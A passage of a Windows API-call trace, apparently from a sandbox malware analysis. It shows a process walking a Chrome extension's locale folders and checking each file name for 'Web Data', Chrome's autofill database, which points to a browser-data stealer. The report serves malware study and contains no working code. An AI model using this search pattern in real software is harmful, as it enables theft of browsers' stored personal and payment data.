Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.155] lstrlenA (lpString="\\") returned 1 [0056.155] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc4a8 [0056.155] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.155] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.155] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.155] lstrlenA (lpString="th") returned 2 [0056.155] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc5b8 [0056.155] lstrcpyA (in: lpString1=0x2dc5b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.155] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="th" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th" [0056.155] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.155] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th") returned 131 [0056.155] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th") returned 131 [0056.155] lstrlenA (lpString="\\*.*") returned 4 [0056.156] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc4a8 [0056.156] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th" [0056.156] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\*.*" [0056.156] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc7f8 [0056.156] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.156] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.156] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.156] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.156] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.156] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.156] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.156] FindClose (in: hFindFile=0x2dc7f8 | out: hFindFile=0x2dc7f8) returned 1 [0056.156] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.156] LocalFree (hMem=0x2dc5b8) returned 0x0 [0056.156] FindNextFileA (in: hFindFile=0x2cc890, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.156] lstrcmpiA (lpString1=".", lpString2="tr") returned -1 [0056.156] lstrcmpiA (lpString1="..", lpString2="tr") returned -1 [0056.156] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.156] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.156] lstrlenA (lpString="\\") returned 1 [0056.156] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc4a8 [0056.156] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.156] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.156] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.156] lstrlenA (lpString="tr") returned 2 [0056.156] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc5b8 [0056.156] lstrcpyA (in: lpString1=0x2dc5b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.156] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="tr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr" [0056.156] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.156] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr") returned 131 [0056.156] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr") returned 131 [0056.156] lstrlenA (lpString="\\*.*") returned 4 [0056.156] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc4a8 [0056.156] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr" [0056.156] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\*.*" [0056.156] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc7f8 [0056.156] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.156] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.156] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.156] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.157] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.157] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.157] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.157] FindClose (in: hFindFile=0x2dc7f8 | out: hFindFile=0x2dc7f8) returned 1 [0056.157] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.157] LocalFree (hMem=0x2dc5b8) returned 0x0 [0056.157] FindNextFileA (in: hFindFile=0x2cc890, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.157] lstrcmpiA (lpString1=".", lpString2="uk") returned -1 [0056.157] lstrcmpiA (lpString1="..", lpString2="uk") returned -1 [0056.157] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.157] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.157] lstrlenA (lpString="\\") returned 1 [0056.157] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc4a8 [0056.157] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.157] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.157] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.157] lstrlenA (lpString="uk") returned 2 [0056.157] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc5b8 [0056.157] lstrcpyA (in: lpString1=0x2dc5b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.157] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="uk" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk" [0056.157] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.157] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk") returned 131 [0056.157] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk") returned 131 [0056.157] lstrlenA (lpString="\\*.*") returned 4 [0056.157] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc4a8 [0056.157] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk" [0056.157] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\*.*" [0056.157] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc7f8 [0056.157] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.157] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.157] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.157] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.157] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.157] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.157] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.157] FindClose (in: hFindFile=0x2dc7f8 | out: hFindFile=0x2dc7f8) returned 1 [0056.157] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.157] LocalFree (hMem=0x2dc5b8) returned 0x0 [0056.157] FindNextFileA (in: hFindFile=0x2cc890, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.157] lstrcmpiA (lpString1=".", lpString2="vi") returned -1 [0056.157] lstrcmpiA (lpString1="..", lpString2="vi") returned -1 [0056.157] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.157] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.157] lstrlenA (lpString="\\") returned 1 [0056.157] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc4a8 [0056.157] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.158] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.158] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.158] lstrlenA (lpString="vi") returned 2 [0056.158] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc5b8 [0056.158] lstrcpyA (in: lpString1=0x2dc5b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.158] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="vi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi" [0056.158] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.158] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi") returned 131 [0056.158] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi") returned 131 [0056.158] lstrlenA (lpString="\\*.*") returned 4 [0056.158] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc4a8 [0056.158] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi" [0056.158] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\*.*" [0056.158] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc7f8 [0056.158] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.158] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.158] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.158] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.158] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.158] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.158] FindNextFileA (in: hFindFile=0x2dc7f8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.158] FindClose (in: hFindFile=0x2dc7f8 | out: hFindFile=0x2dc7f8) returned 1 [0056.158] LocalFree (hMem=0x2dc4a8) returned 0x0 [0056.158] LocalFree (hMem=0x2dc5b8) returned 0x0 [0056.158] FindNextFileA (in: hFindFile=0x2cc890, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.158] lstrcmpiA (lpString1=".", lpString2="zh_CN") returned -1 [0056.158] lstrcmpiA (lpString1="..", lpString2="zh_CN") returned -1 [0056.158] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.158] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.158] lstrlenA (lpString="\\") returned 1 [0056.158] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc4a8 [0056.158] lstrcpyA (in: lpString1=0x2dc4a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.158] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User 